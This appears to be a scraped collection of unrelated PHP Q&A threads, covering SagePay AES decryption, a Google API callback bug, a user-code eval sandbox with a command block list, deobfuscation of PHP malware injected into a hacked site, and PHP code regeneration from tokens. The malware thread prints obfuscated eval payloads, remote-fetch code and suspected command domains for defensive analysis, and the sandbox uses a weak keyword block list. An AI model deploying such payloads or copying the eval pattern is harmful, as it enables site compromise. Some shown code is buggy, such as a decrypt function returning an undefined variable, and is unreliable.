/**
* Remove PKCS5 Padding from a string.
*
* #param string $input The decrypted string.
*
* #return string String without the padding.
* #throws SagepayApiException
*/
static protected function removePKCS5Padding($input)
{
$blockSize = 16;
$padChar = ord($input[strlen($input) - 1]);
/* Check for PadChar is less then Block size */
if ($padChar > $blockSize)
{
throw new SagepayApiException('Invalid encryption string');
}
/* Check by padding by character mask */
if (strspn($input, chr($padChar), strlen($input) - $padChar) != $padChar)
{
throw new SagepayApiException('Invalid encryption string');
}
$unpadded = substr($input, 0, (-1) * $padChar);
/* Chech result for printable characters */
if (preg_match('/[[:^print:]]/', $unpadded))
{
throw new SagepayApiException('Invalid encryption string');
}
return $unpadded;
}
/**
* Encrypt a string ready to send to SagePay using encryption key.
*
* #param string $string The unencrypyted string.
* #param string $key The encryption key.
*
* #return string The encrypted string.
*/
static public function encryptAes($string, $key)
{
// AES encryption, CBC blocking with PKCS5 padding then HEX encoding.
// Add PKCS5 padding to the text to be encypted.
$string = self::addPKCS5Padding($string);
// Perform encryption with PHP's MCRYPT module.
$crypt = mcrypt_encrypt(MCRYPT_RIJNDAEL_128, $key, $string, MCRYPT_MODE_CBC, $key);
// Perform hex encoding and return.
return "#" . strtoupper(bin2hex($crypt));
}
/**
* Decode a returned string from SagePay.
*
* #param string $strIn The encrypted String.
* #param string $password The encyption password used to encrypt the string.
*
* #return string The unecrypted string.
* #throws SagepayApiException
*/
static public function decryptAes($strIn, $password)
{
echo '$strIn' . " string in with # should be here?";
$strIn = htmlspecialchars($strIn, ENT_COMPAT,'utf-8', true);
// HEX decoding then AES decryption, CBC blocking with PKCS5 padding.
// Use initialization vector (IV) set from $str_encryption_password.
$strInitVector = $password;
// Remove the first char which is # to flag this is AES encrypted and HEX decoding.
$hex = substr($strIn, 1);
// Throw exception if string is malformed
if (!preg_match('/^[0-9a-fA-F]+$/', $hex))
{
//DH added section to print result of decryption onto page for debugging
//$hex = "pseudo hex";
//echo "throw error at line 188";
// echo $hex;
throw new SagepayApiException('Invalid encryption string');
}
$strIn = pack('H*', $hex);
// Perform decryption with PHP's MCRYPT module.
$stringReturn = mcrypt_decrypt(MCRYPT_RIJNDAEL_128, $password, $strIn, MCRYPT_MODE_CBC, $strInitVector);
return self::removePKCS5Padding($string);
}
}
/* The getToken function. **
** NOTE: A function of convenience that extracts the value from the "name=value&name2=value2..." VSP reply string **
** Works even if one of the values is a URL containing the & or = signs. */
function getToken($thisString) {
// List the possible tokens
$Tokens = array(
"Status",
"StatusDetail",
"VendorTxCode",
"VPSTxId",
"TxAuthNo",
"Amount",
"AVSCV2",
"AddressResult",
"PostCodeResult",
"CV2Result",
"GiftAid",
"3DSecureStatus",
"CAVV" );
// Initialise arrays
$output = array();
$resultArray = array();
// Get the next token in the sequence
for ($i = count($Tokens)-1; $i >= 0 ; $i--){
// Find the position in the string
$start = strpos($thisString, $Tokens[$i]);
// If it's present
if ($start !== false){
// Record position and token name
$resultArray[$i]->start = $start;
$resultArray[$i]->token = $Tokens[$i];
}
}
// Sort in order of position
sort($resultArray);
// Go through the result array, getting the token values
for ($i = 0; $i<count($resultArray); $i++){
// Get the start point of the value
$valueStart = $resultArray[$i]->start + strlen($resultArray[$i]->token) + 1;
// Get the length of the value
if ($i==(count($resultArray)-1)) {
$output[$resultArray[$i]->token] = substr($thisString, $valueStart);
} else {
$valueLength = $resultArray[$i+1]->start - $resultArray[$i]->start - strlen($resultArray[$i]->token) - 2;
$output[$resultArray[$i]->token] = substr($thisString, $valueStart, $valueLength);
}
}
// Return the ouput array
return $output;
}
// Randomise based on time
function randomise() {
list($usec, $sec) = explode(' ', microtime());
return (float) $sec + ((float) $usec * 100000);
}
?>
I am much in need of help to fix the problem in respect of the code or whether I am making mistakes in how I try to expose the value of the seemingly empty string, and therefore jumping to the wrong conclusion.
EDIT TUESDAY 18/12/18 ---------------
I have made some progress in that I have discovered the reason that the $_GET in the page "completed.php" was not obtaining any value at all from the page url in the return reply sent by Sagepay.
It was because the hosting platform's default php server settings only accepted up to 512 characters in the url; I was was able to change this to 2000 characters (see later comments) which fixed part the problem; the fatal error was gone but the decrypt still failed. However I could now debug because the functions now had data to work with and I could trace values in different parts of the script.
Unfortunately I am now completely at a loss in understanding the debug outputs - because in the first place I don't understand the decrypt functions at all despite searching for help.
The output seems to be reasonable as far as the decrypt line
$hex = substr($strIn, 1);
in "functions.php" which yields the content of the incoming crypt after the "#" has been stripped off.
But once the script moves to the line
$strIn = pack('H*', $hex);
it goes wrong because the output if the variable content now is littered with 'garbage' characters. I don't understand how the 'pack' works but I assume that the characters should all remain readable and therefore this is an encoding problem.
Link to image of a screenshot of the characters
The characters which display as a question mark within a black diamond in the image linked to above seem to be some of these these -
e? g!xh)̓G]/|CՖ'#]Ws܀͝Y?Ig#uQ*ߎ#KѦ
when I capture the text with a quick select-and-copy and then pass into a text editor.
But I don't know if the garbage characters are confined to those which are inserted by the 'pack' function and therefore the encoding mismatch is limited to just the function, rather than being an overall encoding issue with the submission and return data to and from Sagepay.
Unfortunately I am pretty bemused after a long long process of messing (trying everything) with encodings since the website move to the new host, changing scripts, headers, explicit encoding statements, script file encodings, php.ini encoding declarations, Mysql database encodings etc from the old (largely) ISO to utf_8. Mostly just trying to get rid of anomalous characters which are actually visible to users on the website. Squish one and you get a different one in its place.
So now my head throbs at the thought of tracking down how to deal with this if it is purely a encoding problem. Sagepay has told me that Form 3 is compatible with unicode but I know that this is contradicted by other advice I have received, and indeed my own experience having been through previous php and sagepay version changes at my old hosting provider.
There is no way that the website and database fundamentals are going to get changed back to ISO but if it is the case that I have to somehow let Sagepay alone dine on ISO, how can I do this most easily - what are the essentials?
The submit to Sagepay works just fine under utf-8, but do I have to change this to submit in ISO before I can specify ISO for the return which is where the real problem lies? And how best to force this ISO anyway - just for Sagepay - given that encoding often seem not to 'stick', a battleground of web technologies influencing the encoding.
On the other hand it would be great if it was just the 'pack' function that's out of kilter; and if there is an easy way or place to fix that. Can anyone advise please.
As implemented in the Omnipay Sage Pay driver (Omnipay Common v3.x) https://github.com/thephpleague/omnipay-sagepay/blob/master/src/Message/Form/CompleteAuthorizeRequest.php#L47
$crypt = $_GET['crypt'];
// Remove the leading '#' and decrypt the remainder into a query string.
$hexString = substr($crypt, 1);
// Last minute check to make sure we have data that looks sensible.
if (! preg_match('/^[0-9a-f]+$/i', $hexString)) {
throw new \Exception('Invalid "crypt" parameter; not hexadecimal');
}
// Decrypt the crypt string.
$queryString = openssl_decrypt(
hex2bin($hexString),
'aes-128-cbc',
$yourEncryptionKey,
OPENSSL_RAW_DATA,
$yourEncryptionKey
);
// Parse ...&VPSTxId={AE43BAA6-52FF-0C30-635B-2D5E13B75ACE}&...
// into an array of values.
parse_str($queryString, $data);
var_dump($data);
/*
array(17) {
["VendorTxCode"]=>
string(19) "your-original-unique-id"
["VPSTxId"]=>
string(38) "{AE43BAA6-52FF-0C30-635B-2D5E13B75ACE}"
["Status"]=>
string(2) "OK"
["StatusDetail"]=>
string(40) "0000 : The Authorisation was Successful."
["TxAuthNo"]=>
string(6) "376048"
["AVSCV2"]=>
string(24) "SECURITY CODE MATCH ONLY"
["AddressResult"]=>
string(10) "NOTMATCHED"
["PostCodeResult"]=>
string(10) "NOTMATCHED"
["CV2Result"]=>
string(7) "MATCHED"
["GiftAid"]=>
string(1) "0"
["3DSecureStatus"]=>
string(10) "NOTCHECKED"
["CardType"]=>
string(4) "VISA"
["Last4Digits"]=>
string(4) "0006"
["DeclineCode"]=>
string(2) "00"
["ExpiryDate"]=>
string(4) "1220"
["Amount"]=>
string(5) "99.99"
["BankAuthCode"]=>
string(6) "999777"
}
*/
PHP 7 no longer supports the older encryption/decryption functions that the official Sage Pay library (and many plugins based off that old code) use. Use openssl functions instead.
Everything returned in $data will be ASCII (it will return well-defined IDs and codes only, and no user-entered data). I don't believe it will contain any extended ASCII characters, so can be treated as UTF-8 without any conversion if desired.

file_get_contents() returns extra underscore on angular.callbacks

I built a PHP file with the sole purpose of hiding the API keys for Google Search, but part of the file_get_contents() always echo angular.callbacks._0_({ instead of angular.callbacks._0({
This small change makes the rest of the response worthless as Angular throws Uncaught TypeError: angular.callbacks._0_ is not a function. Although the workaround does works flawlessly, I would like to know if someone found the root of this issue or a better solution that is strictly PHP (no curl or any other package.)
search.php
<?php // Created by Deovandski on 2/14/2016
header('Content-type: application/json');
# Setup Base URL and array for Parameters
$host = 'https://www.googleapis.com/customsearch/v1?';
$queries = array();
$queries['cx'] = "XXX";// CSE KEY
$queries['key'] = "XXX"; // API KEY
# Setup possible incoming params
if (isset($_GET['search_term'])) $queries['q'] = $_GET['search_term'];
if (isset($_GET['result_count'])) $queries['result_count'] = $_GET['result_count'];
if (isset($_GET['callback'])) $queries['callback'] = $_GET['callback'];
# Build query and Final URL
$queriesURL = http_build_query($queries) . "\n";
$finalURL = $host.$queriesURL;
echo $finalURL;
/* echo $finalURL output (I only edited the keys out):
https://www.googleapis.com/customsearch/v1?cx=XXX&key=XXX&q=Hatsune+Miku&result_count=10&callback=angular.callbacks._0
*/
// Setup Response
$response = file_get_contents($finalURL);
// workaround
$fixedResponse = str_replace("angular.callbacks._0_", "angular.callbacks._0", $response);
echo $fixedResponse;
?>
This is part of a correct Google API response:
// API callback
angular.callbacks._0({
"kind": "customsearch#search",
"url": {
"type": "application/json",
"template": "https://www.googleapis.com/customsearch/v1?q={searchTerms}&num={count?}&start={startIndex?}&lr={language?}&safe={safe?}&cx={cx?}&cref={cref?}&sort={sort?}&filter={filter?}&gl={gl?}&cr={cr?}&googlehost={googleHost?}&c2coff={disableCnTwTranslation?}&hq={hq?}&hl={hl?}&siteSearch={siteSearch?}&siteSearchFilter={siteSearchFilter?}&exactTerms={exactTerms?}&excludeTerms={excludeTerms?}&linkSite={linkSite?}&orTerms={orTerms?}&relatedSite={relatedSite?}&dateRestrict={dateRestrict?}&lowRange={lowRange?}&highRange={highRange?}&searchType={searchType}&fileType={fileType?}&rights={rights?}&imgSize={imgSize?}&imgType={imgType?}&imgColorType={imgColorType?}&imgDominantColor={imgDominantColor?}&alt=json"
},
I put up a live version of this issue that can be seen on my FTP server. The PHP file can be viewed through this link (AngularJS parameters included on it).
The problem is the escape sequences \n. Which is passed as part of the request. And which is interpreted as space and as part of the callback function name and replaced by the side of the API to underline.
To understand just try this option and look at the result:
$queriesURL = http_build_query($queries) . "\n" . "after";
So just take away a newline.

How can this user code input procedure be exploited?

I'm trying to come up with a way that a user can input code fragments that will be able to run both server-side and client-side. In an ideal world, I'd have a LUA interpreter or a Javascript engine on the server which I could call out to, but I don't see either of those as an easy solution (to set up on my dev machine OR find a host that will do it).
I've got an idea of allowing the user to write a code snippet to run in Javascript, then translate it to be used in PHP.
The usage is for the user to write the internals of a function call which does various things. A (very) simple example would be to give the user a function that takes the parameter 'amount', and they could write a string like amount * 1.05 (which then translates to function(amount) { return amount * 1.05; } in Javascript, or function($amount) { return $amount * 1.05; } in PHP. A more complicated example would be (speed < 9) ? Math.pow(speed, (10 / 3)) : Math.pow(speed, (10 / 3) + (-0.5 * Math.log(10 - speed) / Math.log(10))). For protection in the PHP side, only recognized variable names (the function parameters, such as amount or speed in the two prior examples) have a $ placed on them, and certain known Javascript library calls or functions like Math are/will be translated (in the case of Math, all of the Javascript functions are directly compatible with PHP, so we just strip "Math."). The PHP code would then be run through something like $func = eval(Pseudocode::generatePhpCode($code)); to get the server-side function.
My question is - despite my attempts to LIMIT what can be run, could this be exploited somehow? What improvements can I make?
static function generatePhpCode($pseudocode, $parameterList)
{
// Make a list of things that are not allowed in the "pseudocode"
$illegal = ['$', '#', '->', '::', '`', 'exec', 'eval', 'system', 'passthru', 'popen', 'pclose', 'fopen', 'fclose', 'proc_', 'select', 'shell', 'sql', 'ini', 'echo'];
foreach ($illegal as $string) {
if (strpos($pseudocode, $string) !== false) {
throw new InvalidCallException('Attempted to pass illegal pseudocode function.');
}
}
$paramList = '';
foreach ($parameterList as $param) {
$pseudocode = str_replace(['Math.', $param], ['', '$' . $param], $pseudocode);
$paramList .= ',$' . $param;
}
return
'function (' . ltrim($paramList, ',') . ') {' . PHP_EOL .
' return ' . $pseudocode . ';' . PHP_EOL .
'};';
}

Hacked site - encrypted code

Couple days ago I gave noticed that almost all php files on my server are infected with some encrypted code and in almost every file is different. Here is the example from one of the files:
http://pastebin.com/JtkNya5m
Can anybody tell me what this code do or how to decode it?
You can calculate the values of some of the variables, and begin to get your bearings.
$vmksmhmfuh = 'preg_replace'; //substr($qbrqftrrvx, (44195 - 34082), (45 - 33));
preg_replace('/(.*)/e', $viwdamxcpm, null); // Calls the function wgcdoznijh() $vmksmhmfuh($ywsictklpo, $viwdamxcpm, NULL);
So the initial purpose is to call the wgcdonznijh() function with the payloads in the script, this is done by way of an embedded function call in the pre_replace subject the /e in the expression.
/* aviewwjaxj */ eval(str_replace(chr((257-220)), chr((483-391)), wgcdoznijh($tbjmmtszkv,$qbrqftrrvx))); /* ptnsmypopp */
If you hex decode the result of that you will be just about here:
if ((function_exists("ob_start") && (!isset($GLOBALS["anuna"])))) {
$GLOBALS["anuna"] = 1;
function fjfgg($n)
{
return chr(ord($n) - 1);
}
#error_reporting(0);
preg_replace("/(.*)/e", "eval(implode(array_map("fjfgg",str_split("\x25u:f!>!(\x25\x78:!> ...
The above is truncated, but you have another payload as the subject of the new preg_replace function. Again due to e it has the potential to execute.
and it is using the callback on array_map to further decode the payload which passed to the eval.
The pay load for eval looks like this (hex decoded):
$t9e = '$w9 ="/(.*)/e";$v9 = #5656}5;Bv5;oc$v5Y5;-4_g#&oc$5;oc$v5Y5;-3_g#&oc$5;oc$v5Y5;-2_g#&oc$5;oc$v5Y5;-1_g#&oc$5;B&oc$5{5-6dtz55}56;%v5;)%6,"n\r\n\r\"(edolpxe&)%6,m$(tsil5;~v5)BV%(6fi5;)J(esolcW#5}5;t$6=.6%5{6))000016,J(daerW&t$(6elihw5;B&%5;)qer$6,J(etirwW5;"n\n\X$6:tsoH"6=.6qer$5;"n\0.1/PTTH6iru$6TEG"&qer$5}5;~v5;)J(esolcW#5{6))086,1pi$6,J(tcennocW#!(6fi5;)PCT_LOS6,MAERTS_KCOS6,TENI_FA(etaercW#&J5;~v5)2pi$6=!61pi$(6fi5;))1pi$(gnol2pi#(pi2gnol#&2pi$5;)X$(emanybXteg#&1pi$5;]"yreuq"[p$6.6"?"6.6]"htap"[p$&iru$5;B=]"yreuq"[p$6))]"yreuq"[p$(tessi!(fi5;]"X"[p$&X$5;-lru_esrap#6=p$5;~v5)~^)"etaercWj4_z55}5;%v5;~v5)BV%(6fi5;)cni$6,B(edolpmi#&%5;-elif#&cni$5;~v5)~^)"elifj3_z5}5;ser$v5;~v5)BVser$(6fi5;)hc$(esolcQ5;)hc$(cexeQ&ser$5;)06,REDAEH+5;)016,TUOEMIT+5;)16,REFSNARTNRUTER+5;)lru$6,LRU+5;)(tiniQ&hc$5;~v5)~^)"tiniQj2_z555}5;%v5;~v5)BV%(6fi5;-Z#&%5;~v5)~^)"Zj1_z59 |6: |5:""|B: == |V:tsoh|X:stnetnoc_teg_elif|Z:kcos$|J:_tekcos|W:_lruc|Q:)lru$(|-:_TPOLRUC ,hc$(tpotes_lruc|+:tpotes_lruc|*: = |&: === |^:fub$|%:eslaf|~: nruter|v:)~ ==! oc$( fi|Y:g noitcnuf|z:"(stsixe_noitcnuf( fi { )lru$(|j}}};eslaf nruter {esle };))8-,i$,ataDzg$(rtsbus(etalfnizg# nruter };2+i$=i$ )2 & glf$ ( fi ;1+)i$ ,"0\",ataDzg$(soprts=i$ )61 & glf$( fi ;1+)i$,"0\",ataDzg$(soprts=i$ )8 & glf$( fi };nelx$+2+i$=i$ ;))2,i$,ataDzg$(rtsbus,"v"(kcapnu=)nelx$(tsil { )4 & glf$( fi { )0>glf$( fi ;))1,3,ataDzg$(rtsbus(dro=glf$ ;01=i$ { )"80x\b8x\f1x\"==)3,0,ataDzg$(rtsbus( fi { )ataDzg$(izgmoc noitcnuf { ))"izgmoc"(stsixe_noitcnuf!( fi|0} ;1o$~ } ;"" = 1o$Y;]1[1a$ = 1o$ )2=>)1a$(foezis( fi ;)1ac$,"0FN!"(edolpxe#=1a$ ;)po$,)-$(dtg#(2ne=1ac$ ;4g$."/".)"moc."(qqc."//:ptth"=-$ ;)))e&+)d&+)c&+)b&+)a&(edocne-(edocne-."?".po$=4g$ ;)999999,000001(dnar_tm=po$ {Y} ;"" = 1o$ { ) )))a$(rewolotrts ,"i/" . ))"relbmar*xednay*revihcra_ai*tobnsm*pruls*elgoog"(yarra ,"|"(edolpmi . "/"(hctam_gerp( ro )"nimda",)e$(rewolotrts(soprrtsQd$(Qc$(Qa$(( fi ;)"bc1afd45*88275b5e*8e4c7059*8359bd33"(yarra = rramod^FLES_PHP%e^TSOH_PTTH%d^RDDA_ETOMER%c^REREFER_PTTH%b^TNEGA_RESU_PTTH%a$ { )(212yadj } ;a$~ ;W=a$Y;"non"=a$ )""==W( fiY;"non"=a$ ))W(tessi!(fi { )marap$(212kcehcj } ;))po$ ,txet$(2ne(edocne_46esab~ { )txet&j9 esle |Y:]marap$[REVRES_$|W: ro )"non"==|Q:lru|-:.".".|+:","|*:$,po$(43k|&:$ ;)"|^:"(212kcehc=|%: nruter|~: noitcnuf|j}}8zc$9nruter9}817==!9eslaf28)45#9=979{96"5"(stsixe_328164sserpmocnuzg08164izgmoc08164etalfnizg09{9)llun9=9htgnel$9,4oocd939{9))"oocd"(stsixe_3!2| * ;*zd$*) )*edocedzg*zc$(*noitcnuf*( fi*zd$ nruter ) *# = zd$( ==! eslaf( fi;)"j"(trats_boU~~~~;t$U&zesleU~;)W%Y%RzesleU~;)W#Y#RU;)v$(oocd=t$U;"54+36Q14+c6Q06+56Q26+".p$=T;"05+36Q46+16Q55+".p$=1p$;"f5Q74+56Q26+07Q"=p$U;)"enonU:gnidocnE-tnetnoC"(redaeHz)v$(jUwz))"j"(stsixe_w!k9 |U:2p$|T:x\|Q:1\|+:nruter|&:lmth|%:ydob|#:} |~: { |z:(fi|k:22ap|j:noitcnuf|w:/\<\(/"(T &z))t$,"is/|Y:/\<\/"(1p$k|R:1,t$ ,"1"."$"."n\".)(212yad ,"is/)>\*]>\^[|W#; $syv= "eval(str_replace(array"; $siv = "str_replace";$slv = "strrev";$s1v="create_function"; $svv = #//}9;g$^s$9nruter9}9;)8,0,q$(r$=.g$9;))"46x.x?x\16\17x\".q$.g$(m$,"*H"(p$9=9q$9{9))s$(l$<)g$(l$(9elihw9;""9=9g$9;"53x$1\d6x\"=m$;"261'x1x.1x\"=r$;"351xa\07x\"=p$;"651.x%1x&1x\"=l$9{9)q$9,s$(2ne9noitcnuf;}#; $n9 = #1067|416|779|223|361#; $ll = "preg_replace"; $ee1 = array(#\14#,#, $#,#) { #,#[$i]#,#substr($#,#a = $xx("|","#,#,strpos($y,"9")#,# = str_replace($#,#x3#,#\x7#,#\15#,#;$i++) {#,#function #,#x6#,#); #,#for($i=0;$i
Which looks truncated ...
That is far as I have time for, but if you wanted to continue you may find the following url useful.
http://ddecode.com/
Good luck
I found the same code in a Wordpress instance and wrote a short script to remove it of all files:
$directory = new RecursiveDirectoryIterator(dirname(__FILE__));
$iterator = new RecursiveIteratorIterator($directory);
foreach ($iterator as $filename => $cur)
{
$contents = file_get_contents($filename);
if (strpos($contents, 'tngmufxact') !== false && strlen($contents) > 13200 && strpos($contents, '?>', 13200) == 13278) {
echo $filename.PHP_EOL;
file_put_contents($filename, substr($contents, 13280));
}
}
Just change the string 'tngmufxact' to your obfuscated version and everything will be removed automatically.
Maybe the length of the obfuscated string will differ - don't test this in your live environment!
Be sure to backup your files before executing this!
I've decoded this script and it is (except the obfuscation) exactly the same as this one: Magento Website Hacked - encryption code in all php files
The URL's inside are the same too:
33db9538.com
9507c4e8.com
e5b57288.com
54dfa1cb.com
If you are unsure/inexperienced don't try to execute or decode the code yourself, but get professional help.
Besides that: the decoding was done manually by picking the code pieces and partially executing them (inside a virtual machine - just in case something bad happens).
So basically I've repeated this over and over:
echo the hex strings to get the plain text (to find out which functions get used)
always replace eval with echo
always replace preg_replace("/(.*)/e", ...) with echo(preg_replace("/(.*)/", ...))
The e at the end of the regular expression means evaluate (like the php function eval), so don't forget to remove that too.
In the end you have a few function definitions and one of them gets invoked via ob_start.

Generating PHP code (from Parser Tokens)

Is there any available solution for (re-)generating PHP code from the Parser Tokens returned by token_get_all? Other solutions for generating PHP code are welcome as well, preferably with the associated lexer/parser (if any).
From my comment:
Does anyone see a potential problem,
if I simply write a large switch
statement to convert tokens back to
their string representations (i.e.
T_DO to 'do'), map that over the
tokens, join with spaces, and look for
some sort of PHP code pretty-printing
solution?
After some looking, I found a PHP homemade solution in this question, that actually uses the PHP Tokenizer interface, as well as some PHP code formatting tools which are more configurable (but would require the solution as described above).
These could be used to quickly realize a solution. I'll post back here when I find some time to cook this up.
Solution with PHP_Beautifier
This is the quick solution I cooked up, I'll leave it here as part of the question. Note that it requires you to break open the PHP_Beautifier class, by changing everything (probably not everything, but this is easier) that is private to protected, to allow you to actually use the internal workings of PHP_Beautifier (otherwise it was impossible to reuse the functionality of PHP_Beautifier without reimplementing half their code).
An example usage of the class would be:
file: main.php
<?php
// read some PHP code (the file itself will do)
$phpCode = file_get_contents(__FILE__);
// create a new instance of PHP2PHP
$php2php = new PHP2PHP();
// tokenize the code (forwards to token_get_all)
$phpCode = $php2php->php2token($phpCode);
// print the tokens, in some way
echo join(' ', array_map(function($token) {
return (is_array($token))
? ($token[0] === T_WHITESPACE)
? ($token[1] === "\n")
? "\n"
: ''
: token_name($token[0])
: $token;
}, $phpCode));
// transform the tokens back into legible PHP code
$phpCode = $php2php->token2php($phpCode);
?>
As PHP2PHP extends PHP_Beautifier, it allows for the same fine-tuning under the same API that PHP_Beautifier uses. The class itself is:
file: PHP2PHP.php
class PHP2PHP extends PHP_Beautifier {
function php2token($phpCode) {
return token_get_all($phpCode);
}
function token2php(array $phpToken) {
// prepare properties
$this->resetProperties();
$this->aTokens = $phpToken;
$iTotal = count($this->aTokens);
$iPrevAssoc = false;
// send a signal to the filter, announcing the init of the processing of a file
foreach($this->aFilters as $oFilter)
$oFilter->preProcess();
for ($this->iCount = 0;
$this->iCount < $iTotal;
$this->iCount++) {
$aCurrentToken = $this->aTokens[$this->iCount];
if (is_string($aCurrentToken))
$aCurrentToken = array(
0 => $aCurrentToken,
1 => $aCurrentToken
);
// ArrayNested->off();
$sTextLog = PHP_Beautifier_Common::wsToString($aCurrentToken[1]);
// ArrayNested->on();
$sTokenName = (is_numeric($aCurrentToken[0])) ? token_name($aCurrentToken[0]) : '';
$this->oLog->log("Token:" . $sTokenName . "[" . $sTextLog . "]", PEAR_LOG_DEBUG);
$this->controlToken($aCurrentToken);
$iFirstOut = count($this->aOut); //5
$bError = false;
$this->aCurrentToken = $aCurrentToken;
if ($this->bBeautify) {
foreach($this->aFilters as $oFilter) {
$bError = true;
if ($oFilter->handleToken($this->aCurrentToken) !== FALSE) {
$this->oLog->log('Filter:' . $oFilter->getName() , PEAR_LOG_DEBUG);
$bError = false;
break;
}
}
} else {
$this->add($aCurrentToken[1]);
}
$this->controlTokenPost($aCurrentToken);
$iLastOut = count($this->aOut);
// set the assoc
if (($iLastOut-$iFirstOut) > 0) {
$this->aAssocs[$this->iCount] = array(
'offset' => $iFirstOut
);
if ($iPrevAssoc !== FALSE)
$this->aAssocs[$iPrevAssoc]['length'] = $iFirstOut-$this->aAssocs[$iPrevAssoc]['offset'];
$iPrevAssoc = $this->iCount;
}
if ($bError)
throw new Exception("Can'process token: " . var_dump($aCurrentToken));
} // ~for
// generate the last assoc
if (count($this->aOut) == 0)
throw new Exception("Nothing on output!");
$this->aAssocs[$iPrevAssoc]['length'] = (count($this->aOut) -1) - $this->aAssocs[$iPrevAssoc]['offset'];
// post-processing
foreach($this->aFilters as $oFilter)
$oFilter->postProcess();
return $this->get();
}
}
?>
In the category of "other solutions", you could try PHP Parser.
The parser turns PHP source code into an abstract syntax tree....Additionally, you can convert a syntax tree back to PHP code.
If I'm not mistaken http://pear.php.net/package/PHP_Beautifier uses token_get_all() and then rewrites the stream. It uses heaps of methods like t_else and t_close_brace to output each token. Maybe you can hijack this for simplicity.
See our PHP Front End. It is a full PHP parser, automatically building ASTs, and a matching prettyprinter that regenerates compilable PHP code complete with the original commments. (EDIT 12/2011:
See this SO answer for more details on what it takes to prettyprint from ASTs, which are just an organized version of the tokens: https://stackoverflow.com/a/5834775/120163)
The front end is built on top of our DMS Software Reengineering Toolkit, enabling the analysis and transformation of PHP ASTs (and then via the prettyprinter code).

Categories